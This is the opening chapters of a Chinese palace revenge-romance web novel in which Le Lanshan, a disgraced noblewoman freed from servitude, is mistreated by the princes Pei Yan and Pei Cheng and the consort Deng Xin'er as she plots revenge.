《三年罪奴,助我登上皇后宝座》
第1章 从地狱里爬回来
昭国皇宫,杂役司。
深秋的寒风卷着枯叶,打在乐阑珊单薄的衣衫上。
她跪在冰冷的石板上,正修剪着最后一盆重阳菊。那双本该抚琴作画的手,如今布满新旧交叠的血痕与老茧。
指尖的伤口在冷风中裂开,渗出血珠,她却仿佛感觉不到疼痛。
三年了。
从护国公嫡孙女、京城第一贵女,到如今杂役司最低等的罪奴。
这三年,她睡过最潮湿的草席,吃过馊掉的饭菜,挨过数不清的鞭打。每一个曾经对她笑脸相迎的人,都能上来踩她一脚。
“乐阑珊,平王来了,要见你!”
管事嬷嬷尖利的声音,像一把刀刺破杂役司沉闷的空气。
平王。裴衍。
这三个字,像淬了冰的**,在她心口早已结痂的伤疤上,又狠狠剜了一下。
周围忙碌的宫人瞬间安静下来,无数道目光——有同情,有嫉妒,更多是幸灾乐祸——齐刷刷落在她身上。
乐阑珊修剪花枝的手,几不可察地一顿。
脑海里,瞬间闪过三年前那个大雪纷飞的夜晚。
她跪在平王府门前的石阶上,额头磕出鲜血,哭得声嘶力竭:“衍哥哥!求求你,见我一面!我祖父是被冤枉的!求你了!”
朱红的大门始终紧闭。
最后,是几个侍卫粗暴地将她拖走。她挣扎着回头,就在那一瞬间,府门开了一条缝。
她看见了。
裴衍就站在那里,身披墨色大氅,面容隐在阴影里,冷漠地看着她像条野狗一样被拖走。
她至今都记得他当时的神情——没有半分不忍,只有全然的漠然。
他甚至,对着侍卫的方向,不可察觉地挥了挥手,示意动作快些。
那一刻,她的世界彻底崩塌了。
而压倒她的最后一根稻草,是她情急之下,撕开衣襟,露出雪白的脖颈和锁骨,试图用最后一点姿色,换取他的垂怜。
而他,竟然转过了身。
曾经说非她不娶的青梅竹马,在她家破人亡时,给了她最致命的一击。
回忆如潮水,带来锥心刺骨的痛,但很快又被她强行压下。
三年杂役司的磋磨,早已将那个天真烂漫、会哭会闹的乐阑珊碾碎成了尘埃。
如今活下来的,是一个从地狱里爬回来,等着咬人的鬼。
她脸上没有任何表情,缓缓直起几乎麻木的腰,放下花剪。
每动一下,腿上传来的旧伤疼痛都让她额头冒汗。
那是三年前被拖走时,摔在院子里,被用来捆绑花木的铜丝扎伤腿筋落下的病根。
裴衍,你终于来了。
我等这一天,很久了。
杂役司低矮的门口,逆光站着一个身影。
身姿挺拔,玉树临风,仅仅是站在那里,就与这腌臜破败的环境格格不入。
正是平王裴衍。
他穿着墨色绣金**袍,面容俊美一如往昔,只是眉眼间比三年前更添了几分冷毅和深沉。
乐阑珊一步步走过去,步伐因为腿疾而略显缓慢,脊背却挺得笔直。
她走到他面前,依照宫规,无比标准地跪下,磕头。动作流畅,没有一丝犹豫和勉强。
声音平静得像一潭死水,听不出任何情绪。
“奴婢乐阑珊,给平王爷请安。”
裴衍垂眸,看着伏在自己脚边的女人。
她瘦了太多,穿着最粗陋的灰色布衣,头发只用一根木钗草草挽住。可即便如此,也难掩那份与生俱来的脱俗骨相和清丽容颜。
只是,那双曾经阳光灿烂、只会对他撒娇痴缠的美眸,如今只剩下沉寂的灰烬,再无波澜。
他喉咙骤然发紧,心中一阵尖锐的刺痛,几乎要冲破胸膛。负在身后的手,不自觉地握成了拳,指甲深深掐进掌心。
“乐阑珊……”他开口,嗓音带着一丝自己都未察觉的艰涩与沙哑,“我求了父皇和母后的恩典,接你出杂役司。”
他停顿了一下,像是需要积蓄力气,才吐出最后几个字:“做本王的侍婢。”
空气仿佛瞬间凝固。
周遭所有竖着耳朵偷听的宫人都惊呆了。
从罪奴到亲王侍婢,这简直是天上掉馅饼!
所有人都以为会听到
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乐阑珊感激涕零的谢恩。
然而,她只是抬起头,脸上没有他预想中的愤怒、哭泣,或者感恩戴德。她甚至,极淡地勾了一下唇角。
那笑容很轻,却像一根无形的针,狠狠地刺中了裴衍的心脏。笑容中没有喜悦,只有冰冷的嘲讽。
“奴婢,”她再次俯身,叩首,声音依旧是平稳无波,“多谢平王大恩。”
裴衍的心猛地一沉,一种难以言喻的慌乱攫住了他。
他原本以为会见到一个激动万分、泪眼朦胧的乐阑珊。
他甚至在心中预演了千百遍——她会哭,会怨,会质问他为何当年那般狠心,甚至上前用拳头捶打他。
而他,会愧疚,会心疼,会将她揽入怀中,告诉她一切都有他在。
可他独独没有料到,她会是这样的反应。
平静。
一种近乎死寂的平静。
好像他这个人,他所做的决定,对她而言,都毫无意义。
“你……”他喉结滚动,想说什么,却发现自己词穷了。
乐阑珊已经自行站起了身,垂眸立在一旁,安静地等待着,像一个真正温顺本分的奴婢。
只是那低垂的眼睫下,一双美眸正燃烧着冰冷的地狱之火。
做侍婢?
很好。
裴衍,邓馨儿,所有曾将我乐家踩入泥泞的人……
你们的噩梦,开始了。
平王府,就是我第一个复仇战场。
裴衍看着她这副逆来顺受的样子,心头那股无明火越烧越旺。他猛地转身,声音冷硬:“跟上!”
说罢,便大步流星地朝外走去。
乐阑珊没有说话,默默跟上。每走一步,腿上的旧伤都传来钻心的疼痛,但她脸上没有任何表情,仿佛那具饱受折磨的身体不是她自己的。
裴衍走得很快,丝毫没有顾及她腿脚不便。
他怕自己一回头,看到她那双死水般的眼睛,会失控。
**,跟在他身后的乐阑珊,正用一种打量猎物的眼神,冰冷地审视着他的背影。
衍哥哥,游戏开始了。
你,准备好了吗?
第2章 修罗场初现
裴衍的步子迈得极大,衣袂在风中猎猎作响,仿佛要将身后那道人影彻底甩脱。
他心中涌动着一股无名火,烧得他五脏六腑都在作痛。
那双曾盛满星光的眸子,如今像两口枯井,深不见底,也映不出丝毫起伏。
她跪拜、谢恩、起身,每一个动作都标准地像尺子量过,却偏偏没有一丝人该有的情绪。
这比任何哭闹和指责都更让他心慌。仿佛他们之间那十几年的情谊,那些耳鬓厮磨、青梅竹马的岁月,真的在她心里彻底**,连一点灰烬都不曾留下。
他忍不住,用眼角的余光向后瞥去。
只见乐阑珊正艰难地跟着他。她的步伐有些怪异,左腿似乎不敢完全用力,每一步都走得极其缓慢,额间渗出细密的冷汗,将那几缕散落的鬓发黏在苍白的脸颊上。
裴衍的心像是被什么东西狠狠揪了一下。
一个被他刻意遗忘的画面猛地窜入脑海——
三年前那个大雪纷飞的夜晚,侍卫曾向他回报:“乐小姐挣扎时摔了一跤,腿被院子里捆绑花木的铜丝划伤了,流了不少血。”
当时他心硬如铁,满心都是被父皇斥责、被朝堂施压以及对乐家“罪行”的愤怒,只觉得她是故意弄伤自己来博取同情,甚至还冷笑着对侍卫说了句:“苦肉计而已,不必理会。”
难道……难道那伤一直没好?还落下了病根?
这个想法一冒上来,像一根冰冷的针,猝不及防地刺入他心底最柔软的地方,一股强烈的悔意混合着尖锐的心疼,瞬间涌了上来。
他脚步一滞,几乎要转身,想抓住她的手臂,问一句:“你的腿,怎么样了?”
然而,就在他犹豫的瞬间,身后传来一声轻微的闷响。
裴衍猛的回头,看见乐阑珊摔倒在了地上。尘土沾染了她灰色的粗布衣裙,让她看上去更加狼狈不堪。
她正试图用手臂撑起身体,但那条受伤的腿显然使不上力,试了几次,都只是徒劳地晃动着身体,未能站起。
旁边路过的几个小太监和宫女纷纷侧目,窃窃私语声像苍蝇一样嗡嗡响起。
“看,那就是护国公家的嫡女,京城第一贵女。”
“啧,真是落魄凤凰不如鸡。当年何等风光,如今连路都走不稳了。”
“在平王爷面前这般失仪,怕是没好果子吃咯!”
那些议论声像烧红的烙铁,一下下烙痛了裴衍的耳朵。
若是三年前,谁敢这么看她、议论她,他早就一拳挥过去了,定要叫他们知道,乐阑珊是他裴衍护着的人。
可现在……
他看着她倔强地抿着唇,一次次试图靠自己的力量爬起来,却一次次失败的样子,胸口堵得发慌,又闷又痛。
他忍不住上前,想不顾一切地将她扶起。
“王爷。”乐阑珊却忽然抬起头,声音依旧平静得像一潭死水,甚至带着一丝恰到好处的、疏离的歉意,“奴婢腿脚不便,惊扰王爷了,请王爷恕罪。”
她的话,像一盆掺着冰碴的水,兜头盖脸地浇熄了裴衍刚刚升起的那点怜惜和冲动。
她又来了!她永远都在逞强!三年前是这样,三年后还是这样!
一股莫名的怒火“腾”地一下窜起,迅速取代了那片刻的悔意。
他讨厌她这副拒他于千里之外的样子!讨厌她这副仿佛什么都不在乎,连自己的身体都可以随意糟蹋的样子!
“哪来的这么多矫情?”裴衍的声音冷得像数九寒天的冰凌,带着毫不掩饰的训斥,“你们护国公府违法乱纪,陛下天恩,念你年幼未参与其中,才没有让你一起被流放,在皇宫杂役司完好地过了三年。如今你不知感恩,倒像是受了天大的委屈一样!”
这话一出口,裴衍自己就先后悔了。他明明不是想这么说的!明明他想问她疼不疼,想问她这三年是怎么过的……可那些话到了嘴边,却变成了更伤人的利刃。
他看到乐阑珊的身体几不可察地僵硬了一下,虽然极其细微,
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但他捕捉到了。
然后,她缓缓地,再次抬起头,看向他。
那眼神,依旧没有什么剧烈的情绪波动,却像一面擦得雪亮的、冰冷的镜子,清晰地照出了他此刻的刻薄、蛮横与不堪。
裴衍感到一阵前所未有的难堪和狼狈。仿佛自己精心维持的冷漠外壳,在她这无声的注视下,出现了裂痕。
“你既然不想去我平王府,那就继续留在杂役司如何?”他像是要找回场子一般,口不择言地继续说道,语气充满了嘲讽,“省得本王凭白每天看你这张不死不活、像是有人欠了你三百两银子的脸,吃饭都添堵。”
说罢,他不再看她,仿佛多看一眼都会脏了自己的眼睛,对身边的小厮一挥袖:“走!不要理她。让她自己走着去平王府!天黑前到不了,府规处置!”
小厮胆怯地看了一眼自家王爷阴沉的脸色,又同情地看了一眼地上挣扎的乐阑珊,张了张嘴,最终还是什么都没敢说,快步跟上了裴衍。
乐阑珊看着他们主仆二人决绝远去的背影,脸上依旧没什么表情,只有藏在袖中的手指,微微蜷缩了一下,指甲陷入掌心的旧痂之中。
疼吗?
早就疼麻木了。
三年前那个雪夜,心就已经**。如今这点言语上的折辱,又算得了什么?不过是提醒她,眼前这个男人,早已不是她的“衍哥哥”,而是需要她谨慎应对、甚至需要复仇的敌人之一。
她深吸一口气,压下喉咙口的腥甜,忍着腿上钻心的疼痛,再次用手肘撑地,试图靠自己站起来。汗水顺着她的额角滑落,混入尘土之中。
就在这时,一阵清脆的马蹄声由远及近,不紧不慢地停在了她不远处。
一道慵懒而带着几分邪气的声音在她头顶响起,像毒蛇吐信,带着冰冷的滑腻感:
“京都第一贵女,何时沦落到需要在这宫道上,与尘土为伍了?”
乐阑珊身体猛地一僵,这个声音即使化作灰,她也认得!
第3章 本王很欣慰
她猛地抬起头。
逆光中,一个身着墨绿华服、腰缠玉带的男子勒马而立。
他面容俊美非凡,甚至带着几分阴柔的昳丽,眉眼间含着三分风流,七分深不可测,唇角勾着一抹似笑非笑的弧度。
与裴衍的冷硬俊朗、棱角分明不同,此人像一株盛放的曼陀罗,美丽妖异,却带着致命的危险。
瑞王,裴诚。
那个在三年前,亲自带人查抄了护国公府,踩着乐家鲜血和尸骨上位的男人!
恨意如同疯长的毒藤,瞬间缠绕住她的心脏,几乎要窒息。
她几乎要用尽全身的力气,才能压制住扑上去与他同归于尽的冲动。指甲再度深深掐入掌心,刚刚结痂的伤口再次破裂,温热的血濡湿了袖口。
裴诚翻身下马,动作优雅流畅。
他缓步走到她面前,居高临下地打量着她,目光如同审视一件物品,在她染血的指尖、沾满尘土的衣裙、以及那双沉寂如死水的眸子上缓缓扫过。
“许久不见,乐姑娘。”他语气轻松,仿佛只是在宫苑中偶然遇见一位故友,问候今日天气如何。
乐阑珊垂下眼睫,浓密的睫毛像两把小扇子,在苍白的脸上投下淡淡的阴影,完美地掩去了眸底翻涌的、几乎要蚀骨焚身的恨意。
再开口时,声音沙哑而淡漠,如同秋风扫过枯叶:“瑞王爷说笑了,罪奴当不起‘姑娘’二字。”
“当得起,如何当不起?”裴诚轻笑一声,那笑声低沉悦耳,却带着说不出的嘲讽,“在本王心里,乐姑娘永远是那个惊才绝艳、名冠京华的乐阑珊。”
他说着,忽然俯身,朝她伸出了一只手。他的手指修长干净,骨节分明,指甲修剪得圆润整齐,与这污浊的宫道、与她此刻的狼狈形成了鲜明的对比。
“起来吧,地上凉。”他的语气甚至带上了一丝不易察觉的温柔。
乐阑珊看着那只递到眼前的手,没有动。
就是这只手,当年漫不经心地翻看着护国公府的账册,就是这只手,拿走了那些被做了手脚的“罪证”,就是这只手,亲手将她的家族推入了万劫不复的深渊!
“不劳瑞王爷。”她避开他的手,声音冷硬,再次试图靠自己的力量撑起身体。
然而,腿上的剧痛和体力的大量流失让她再次跌坐回去,额角渗出更多的冷汗,眼前阵阵发黑。
裴诚的手悬在半空,也不尴尬,慢悠悠地收了回去,语气带着几分玩味:“乐姑娘还是这般倔强。只是,以你现在的样子,走到平王府只怕天都黑了。四哥的脾气……你比我更清楚。你确定,要去挑战他的耐心?”
他一句话,精准地戳中了乐阑珊最现实、最紧迫的困境。
她沉默着,紧抿的唇瓣失去了最后一点血色。
裴衍方才离去时那冰冷的眼神犹在眼前,她知道,裴诚并非危言耸听。
“罢了,”裴诚似乎看穿了她的挣扎,拍了拍自己那匹神骏异常、通体雪白的御马“玉蛟龙”,“本王今日心情好,便送你一程。”
“不敢。”乐阑珊立刻拒绝,声音斩钉截铁。与虎谋皮,她还没那么蠢。
“哦?”裴诚挑眉,那双桃花眼里闪过一丝兴味的光芒。
他忽然又凑近了一些,几乎贴到她的耳边,用只有两人能听到的声音低语,那声音充满了诱惑与令人心悸的深意,“难道你不想知道,当年护国公府的账册里,究竟多了些什么不该有的东西吗?比如,那几笔通往北凉的巨额银钱,究竟是如何神不知鬼不觉地出现的?”
乐阑珊猛地抬头,瞳孔骤缩!一直平静无波的脸上,第一次出现了裂痕,震惊、难以置信、以及对真相极度渴望的光芒在她眼中激烈碰撞!
他什么意思?
他知道账册有问题?他是在暗示什么?还是……这又是他新一轮的戏弄和圈套?
裴诚直起身,瞬间恢复了那副慵懒贵公子的模样,仿佛刚才那句石破天惊、足以在朝堂掀起轩然大波的话不是出自他口。
他掸了掸衣袖上
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并不存在的灰尘,笑容依旧完美无瑕。
“上马吧,乐姑娘。”他语气轻松,却带着不容拒绝的强势,“有些路,一个人走,太慢了。而且,黑暗中藏着什么,谁又知道呢?或许有你想看到的真相。”
乐阑珊的心跳得飞快,像擂鼓一般撞击着胸腔。
仇恨在疯狂地叫嚣着让她拒绝,离这个魔鬼越远越好!
但理智和对真相的渴望,却像野草般在她心中疯长。
祖父临行前那悲愤又绝望的眼神,父母憔悴的面容,家族蒙受的不白之冤……这一切,都像鞭子一样抽打着她。
裴诚,这个她恨之入骨的男人,此刻却像无尽黑暗中唯一的一丝萤火,明知那光芒可能来自地狱之火,带着焚身的危险,却依旧引诱着她这只飞蛾,不顾一切地扑上去。
最终,在裴诚看似随意,实则锐利如鹰隼的目光下,在对真相那渺茫却诱人的希望驱使下,乐阑珊咬着牙,几乎是带着一种豁出去的决绝,被他半扶半强迫地弄上了马背。
裴诚没有上马,而是亲自牵着缰绳,慢悠悠地朝着平王府的方向走去。
高大的白马,驮着纤细苍白的女子,墨衣华服的亲王执辔而行,在官道上显得格外突兀和诡异。
他看似目不斜视,却淡淡开口,打破了沉默:“三年杂役司,还没磨平你的爪子吗?”
乐阑珊坐在马背上,背脊挺得笔直,仿佛那不是马鞍,而是她的尊严王座。
她冷冷回应,声音在风中有些飘忽:“让王爷失望了。”
“不,”裴诚低笑出声,声音带着一种奇异的、能蛊惑人心的磁性,“本王很欣慰。”
他顿了顿,侧过头,午后的阳光在他俊美妖异的侧脸上投下斑驳的光影,让他一半面容沐浴在光里,一半隐藏在暗处。
“爪子利的猎物,才有被驯服的价值,也才有资格成为执棋的对手,而非随手可弃的棋子。”
“乐阑珊,平王府只是个小池塘,困不住真龙。好自为之。”
第4章 六弟,这是何意?
他的话,像谜语,更像是一封战书,轻飘飘地落下,却在乐阑珊心中掀起了惊涛骇浪。
他究竟想做什么?他是在暗示她合作?还是仅仅觉得这场复仇游戏有趣,想在一旁推波助澜,看她与裴衍斗得你死我活?
乐阑珊握紧了拳,任凭掌心的伤口撕裂,剧烈的疼痛让她保持着清醒。
无论裴诚目的为何,她都不能被他牵着鼻子走。
她的路,只能由她自己来走。
可她没有注意到,在远处官道的拐角,去而复返的裴衍,将裴诚扶乐阑珊上马、两人低头私语、以及最后裴诚亲自牵马护送的一幕,尽收眼底。
他本是走到半路,终究放心不下她的腿伤,内心挣扎再三,还是拉不下脸面亲自回去,便命小厮返回去瞧瞧,必要时找顶软轿送她一程。
可小厮刚走,他心中的烦躁和那点说不清道不明的牵挂却越来越盛,鬼使神差的,自己也折返了回来。
却没想到,看到了这样一幅“和谐”的画面!
他看到乐阑珊坐在裴诚的马上,虽然脸色依旧苍白,却没有面对他时的死寂和抗拒。他看到裴诚低头与她说话,距离近的暧昧!他看到她那微微睁大的瞳孔,那是面对他时从未有过的情绪波动!
一股滔天的怒火混合着尖锐刺骨的嫉妒,瞬间冲垮了他的理智!
他拳头紧握,指节因为过度用力而泛出青白色,眼神阴鸷得吓人,周身散发出的寒气让周围的温度都似乎下降了几分。
乐阑珊,你对裴诚,就能如此顺从吗?
三年前你求我时,我未曾理会,你是不是转头就去求了他?所以他才那么“恰好”地出现在抄家的现场,立下“大功”?
一个又一个恶意的猜测如同毒蛇,啃噬着他的心。
他死死地盯着那渐行渐远的背影,直到他们消失在宫道的尽头,才猛地一拳砸在身旁冰冷的宫墙上!
“回府!”他从牙缝里挤出两个字,转身离去,背影决绝而愤怒。
他倒要看看,这个被他从杂役司带出来的女人,到了他的平王府,还能翻出什么浪花!
平王府的朱漆大门近在眼前,门楣高悬,石狮威严,无不彰显着亲王邸宅的赫赫声势。然而此刻,这巍峨的府门在乐阑珊眼中,却像一头蛰伏的巨兽,张开了幽深的大口,等待着她自投罗网。
马蹄声在府门前停驻。
裴诚勒住马,却没有立刻扶她下来的意思。他抬眸,扫了一眼那紧闭的府门以及门房处若隐若现窥探的目光,唇角那抹似笑非笑的弧度加深了几分。
“到了,乐姑娘。”他声音慵懒,带着一丝不易察觉的戏谑。
乐阑珊抿紧唇,没有看他,也没有动。她在积蓄力气,也预感到接下来不会有什么好事。
果然,裴诚突然毫无预兆地伸出手,一把抓住她的手臂,用力将她从马背上拽了下来!
他的动作粗暴,毫无怜香惜玉之意。
乐阑珊本就虚弱,腿伤让她无法保持平衡,被他这么一拉,整个人如同断线的风筝,直接摔倒在地!
“砰”的一声闷响,比之前在宫道上那一次更加沉重。
手肘和膝盖重重磕在坚硬的青石地面上,钻心的疼痛让她瞬间蜷缩了一下身体,眼前金星乱冒。额头上刚刚凝固的伤口似乎也再次崩裂,温热的液体缓缓流下。
她趴伏在地上,尘土沾满了她的脸颊和衣裙,发髻彻底散乱,木钗歪斜地挂着,几缕头发狼狈地贴在汗湿的额前。
裴诚就站在一步之外,冷眼看着,那双漂亮的桃花眼里没有丝毫温度,更别提方才在官道上那伪装的、虚假的温柔。
他的随从们发出一阵压抑不住的、带着明显嘲弄的窃笑声,在这寂静的府门前显得格外刺耳。
“快起来,别装**。”裴诚的声音冰冷,带着毫不掩饰的厌恶和呵斥,“平王府门前,也是你能躺的地方?别脏了四哥的地盘。”
乐阑珊的心在滴血,比身上的伤口更疼。**感如
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同潮水,瞬间将她淹没。
她,堂堂护国公嫡孙女,曾几何时,出入宫闱如自家后院,所到之处,无不是艳羡和赞誉的目光。何时受过这等当众折辱?还是被她恨之入骨的仇人!
但三年杂役司的非人生活,早已将她的自尊和骄傲如同磨刀石般,一点点磨去棱角,碾成粉末。她知道,眼泪和愤怒在此刻毫无用处,只会让这些等着看笑话的人更加得意。
她咬紧牙关,无视周围那些或好奇、或鄙夷、或幸灾乐祸的目光,也用尽全身力气忽略掉裴诚那令人作呕的视线。
然后用那双布满新旧伤痕的手,死死撑住地面,借助手臂和那条完好的右腿的力量,一点一点,极其艰难的,试图从冰冷的地面上爬起来。
每动一下,浑身都像散架般疼痛,尤其是左腿,仿佛有无数根针在同时扎刺。冷汗如同雨下,浸透了她的内衫。身体因为剧痛和虚弱而剧烈颤抖着,但她始终没有发出一丝呻吟。
就在她几乎要凭借自己的力量,摇摇晃晃地站直身体时,平王府那两扇沉重的朱漆大门,“吱呀”一声,从里面被打开了。
一道修长冷峻的身影,出现在门内逆光处。
裴衍。
他显然已经回来有一会儿了,或许,刚才门外发生的一切,他都早已透过门缝看得一清二楚。
乐阑珊抬起头,猝不及防地,正对上他投来的目光。
那目光,复杂得像一团纠缠的乱麻。有预料之中的愤怒,有毫不掩饰的厌恶,但更深处的,是一种被刺痛后的冰冷,以及一种……难以言喻的失望和暴戾。
让裴衍看到她这般与裴诚“纠缠”不清、甚至“被”裴诚送到府门口的狼狈样子,无疑是在他平王府的脸面上,又狠狠踩了几脚。
他本就因官道上所见而积攒的怒火,此刻更是达到了顶点。
“六弟,这是何意?”裴衍的声音比这秋日的寒风更冷,目光如刀,刮过裴诚,最终定格在乐阑珊身上。
第5章 让她去学学规矩
裴诚面对裴衍的质问,神色不变,依旧是一副慵懒随意的模样,甚至带着点无辜:
“四哥,你可别误会。六弟我在官道上碰见这位乐姑娘,她走路实在不便。眼看天色已晚,怕她误了四哥规定的时辰受罚,才好心用马送她一程。谁知她下马时自己没站稳,摔了。这可怨不得我。”
他三言两语,便将责任推卸得一干二净,反而显得乐阑珊笨拙无能,不知好歹。
裴衍的脸色更加阴沉,他显然并不完全相信裴诚的话,但乐阑珊此刻的狼狈模样,以及她是由裴诚送来这个事实,都像一根根刺,扎在他的眼里,心里。
他没有再理会裴诚,而是将所有的怒火,都倾泻到了乐阑珊身上。
“还愣在那里做什么?嫌不够丢人现眼吗?”他厉声喝道,眼神锋利如刀,“滚进来!”
乐阑珊浑身一个激灵,不敢再有丝毫迟疑,也顾不上浑身剧痛,咬着牙,用尽最后一点力气,一瘸一拐地、几乎是跌跌撞撞地跨过了那高高的门槛。
在她踏入府内的瞬间,身后传来“砰”的一声巨响!府门被守门的侍卫重重关上,将那依旧带着玩味笑容的裴诚,以及所有看热闹的视线,彻底隔绝在外。
门内,是另一个世界,一个由裴衍绝对掌控,而她孤立无援的世界。
门廊下的光线有些昏暗,空气中弥漫着一种压抑的寂静。裴衍就站在她面前几步远的地方,负手而立,身姿挺拔如松,却散发着令人窒息的高压。
他看着眼前的乐阑珊。
因为腿伤和方才的摔跌,她走路的样子极其艰难,左腿几乎无法着力,身体的大部分重量都依靠右腿和腰肢来维持平衡,这使得她的步伐看起来缓慢而怪异,腰肢不可避免地随着动作微微扭动,如同风中不堪重负的柳条。
然而,这落在被怒火和嫉妒蒙蔽了双眼的裴衍眼中,却全成了不堪入目的淫姿媚态!
是不是刚才在裴诚面前,也是这般模样?是不是就是用这副楚楚可怜、又带着几分不自知的风情的模样,勾得裴诚对她另眼相看,甚至亲自牵马护送?
一想到官道上看到的那一幕,一想到她和裴诚之间可能存在的、他所不知道的牵扯,一股混合着暴怒、嫉妒和某种被背叛的痛楚的邪火,瞬间冲垮了他最后的理智!
他们正走过一段小小的下坡路,乐阑珊因为腿痛和害怕再次摔倒,正小心翼翼地拎起沾满尘土的裙摆,试图看清脚下的路。
就在这时,身后的裴衍实在看不下去了!脑海中那臆想的、她在裴诚面前巧笑倩兮、姿态婀娜的画面与眼前她“扭捏作态”的背影重叠在一起,让他忍无可忍!
他猛地抬起脚,带着一股狠戾的力道,朝着她的后腰,狠狠踹了过去!
“啊!”
乐阑珊猝不及防,只来得及发出一声短促的惊呼,整个人便失去了平衡,头朝下,如同一个破败的布偶,直接栽倒在地!
“咚!”
她的额头重重地磕在了路边用来装饰的、棱角分明的太湖石上!
一声闷响,温热的鲜血瞬间涌了出来,迅速染红了她鬓边的青丝和苍白的脸颊,滴滴答答地落在青石板路上,晕开一小片刺目的红。
剧痛如同潮水般席卷了她所有的感官,眼前一阵发黑,耳朵里嗡嗡作响。她瘦骨嶙峋的手下意识地捂住额头上不断流血的伤口,温热的、粘稠的液体透过指缝渗出。
她想哭,却发不出声音,喉咙像是被什么东西死死堵住;她想叫,却不敢,只能将所有的痛苦和呜咽都死死地咽回肚子里。
那一刹那间,裴衍似乎看到了往昔那个明快鲜活的女子,总是穿着一身明媚的衣裙,站在梧桐树下,温柔大方地冲他微笑,清脆地唤他“衍哥哥”……
他心里有了一丝极其细微的、几乎难以察觉的刺痛,好像被什么极细的针扎了一下,转瞬即逝。
但随即,看到她此刻伏在地上,苍白脆弱、鲜血淋漓、楚楚可怜的样子,那股无名邪火竟奇异地混合着一丝扭曲的快意。
看,她终究还是如此狼狈地趴在他的脚下!
无论她如何伪装平静,如何试图与裴诚牵扯,都无法改变这个事实。
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>“管家!”裴衍大声喊道,声音冷硬,不带一丝情绪。
早就候在一旁、却不敢上前的管家周叔赶紧小跑过来,看到地上的乐阑珊和那滩血迹,心脏跳了跳,却不敢多言,只是躬身应道:“老奴在。”
“把她带到后院去。”裴衍一指地上蜷缩着的乐阑珊,语气充满了厌恶,“让她去学学规矩,好好洗洗这一身从杂役司带来的贱骨头!没学好之前,不许她到前院来碍眼!”
“是,王爷。”周叔连忙应下。
裴衍说完,便不再多看地上的人一眼,仿佛那只是一件被丢弃的垃圾。他迈开步子,径直朝着前院书房的方向走去,临行前,只甩下一句冰冷的话,飘入乐阑珊嗡嗡作响的耳中:
“好好学规矩,希望你早点回到从前的样子。”
乐阑珊伏在冰冷的地上,额头的血还在流,身上的骨头像散了架一样疼。听到这句话,她没敢回嘴,甚至没有抬头。只是在那满是尘土和血污的脸上,极淡、极冷地勾了一下唇角,露出一丝带着血腥味的、冰冷的嘲笑。
回到从前的样子?
裴衍,你早就亲手杀**从前的乐阑珊。
那个天真烂漫、全心全意信赖着你的乐阑珊,早就死在三年那个大雪纷飞的夜晚,死在你的冷漠和背叛之下。
现在,你满意了吗?
两个粗使婆子得了周叔的吩咐,上前来,一左一右,毫不客气地将她从地上架了起来。动作粗鲁,扯动了她全身的伤口,让她痛得几乎晕厥。
她被半拖半架着,朝着王府深处那代表着规矩和惩戒的后院走去。路过之处,下人们纷纷避让,投来或好奇、或怜悯、或鄙夷的目光。
乐阑珊垂着头,任由她们拖着走,长长的睫毛掩盖住了她眼底所有的情绪。
但在那一片晦暗的深处,复仇的火焰,却因为今日的**和伤痛,燃烧得更加炽烈,更加冰冷。
裴衍,邓馨儿,所有曾将我乐家踩入泥泞的人……
你们等着。
平王府,就是我乐阑珊重生的炼狱,也是你们噩梦开始的地方。
第6章 平王侧王妃
周叔领着她穿过曲折回廊,绕过数道月门,空气中便渐渐浮起一股久违的清凉。
再走几步,秋爽院的景致如旧梦重重,忽地闯入眼帘。
高梧伫立,枝叶繁若云幕,将半个院落笼在青翠荫翳下。梧桐下植着一排秋海棠,花色暗红,隐约带着潮润幽香。
角落的花圃沉静无声,菊株尚未绽放,却已生出傲霜之姿。
这一院风物,三年前她来过数次,每次都被扣住心魂。
那时的裴衍立在梧桐影下,目光温柔似春潮——
“阑珊如霜菊,有风骨。他日你为王妃,此院便做你的别院。”
他还说:“我愿作梧桐,为你挡尽风雨。”
当时她欢喜得不敢言语,以为命运真会将她托举至光亮之处。
如今重返旧地,往昔温柔却化作锋利刀刃,一柄柄**心口,逼得人无处可逃。
“别愣着,去见侧王妃。”周叔语中带不耐烦。
乐阑珊收回目光,沿鹅卵石甬道缓缓而行。
石面坚硬,每一步都牵扯腿上旧伤,那日在殿前被裴衍踹中的那一脚,此刻犹如暗火在筋骨间燃烧。她腰身发紧,步履别扭,疼意如针尖扎入血肉,却连皱眉的资格都没有。
奴婢,不许喊痛。
正行间,一道娇柔却刺耳的女声自前方响起:“哟,这就是新来的奴婢?”
无需抬头,她便知是谁。
邓馨儿。
那一年在贵女坊,琴棋书画、礼仪规矩、诗词画舫,无不是两人争锋之地。彼时邓馨儿不过侍郎之女,却心气极高,偏偏处处压不过她。
而今物换星移,三品侍郎之女成了平王侧妃;
护国公府嫡女,却成了罪奴。
就像命运特意安排的一场讽刺。
她指尖微凉,旧伤似也在提醒——危险将至。
丫鬟嬷嬷簇拥着邓馨儿款款而来,环佩轻响,眉眼带笑,却笑里藏针。
“既到了本院,抬起头来,让本宫瞧瞧。”邓馨儿语气漫不经心,像翻看一只被捡来的破布袋。
乐阑珊动了动,却被腰痛牵得气息微乱,没能如她所愿迅速抬头。
一个嬷嬷立刻扯住她的下巴,带着轻蔑的力道给了她一巴掌。“侧妃问话,你聋了?”
耳边轰鸣作响,指甲的硬刺划过皮肉,疼得皮肤一阵抽紧。
邓馨儿看着她,语气阴柔而寒薄:“脾气倒还在,跟三年前一样。你以为自己还是那京都第一才女?如今不过是从杂役司里被捞出来的罪奴,是王爷可怜你,才让你来平王府享福。”
享福?
乐阑珊低垂的睫毛下,笑意冰冷如风。
若是在三年前,她必能三言两语堵得邓馨儿三日吃不下饭。但现在,她不过是侧妃脚下的灰尘。
“看来,本宫得教教你规矩。”
邓馨儿抬手,丫鬟递上托盘,一盏新泡的热茶稳稳置于其上。
“去,给本宫敬茶。”
邓馨儿在殿前矮凳上坐得高贵端然,静待罪奴侍候。
两阶台阶不高不低,可她腰腿俱痛,手端着托盘使不上力,只能靠腰腹与臀部微微摆动,艰难一步步上阶。背影看去,竟像弱风中的银狐尾,摇曳无端。
丫鬟们忍不住哄笑。
邓馨儿笑得步摇乱颤:“三年前你是贵女坊第一美人,如今这身姿态,倒颇有青楼头牌之韵。”
“像!”
“像极了!”
“真比头牌还成样!”
笑声此起彼伏,像油滚在铁板上,噼里啪啦,刺耳难当。
乐阑珊脚步顿住。
若是在三年前,这茶盏早飞到了邓馨儿脸上,把所有嘲讽都砸个粉碎。
可三年杂役司,把她磨得明白:凡是反抗,都会迎来更狠的报复。
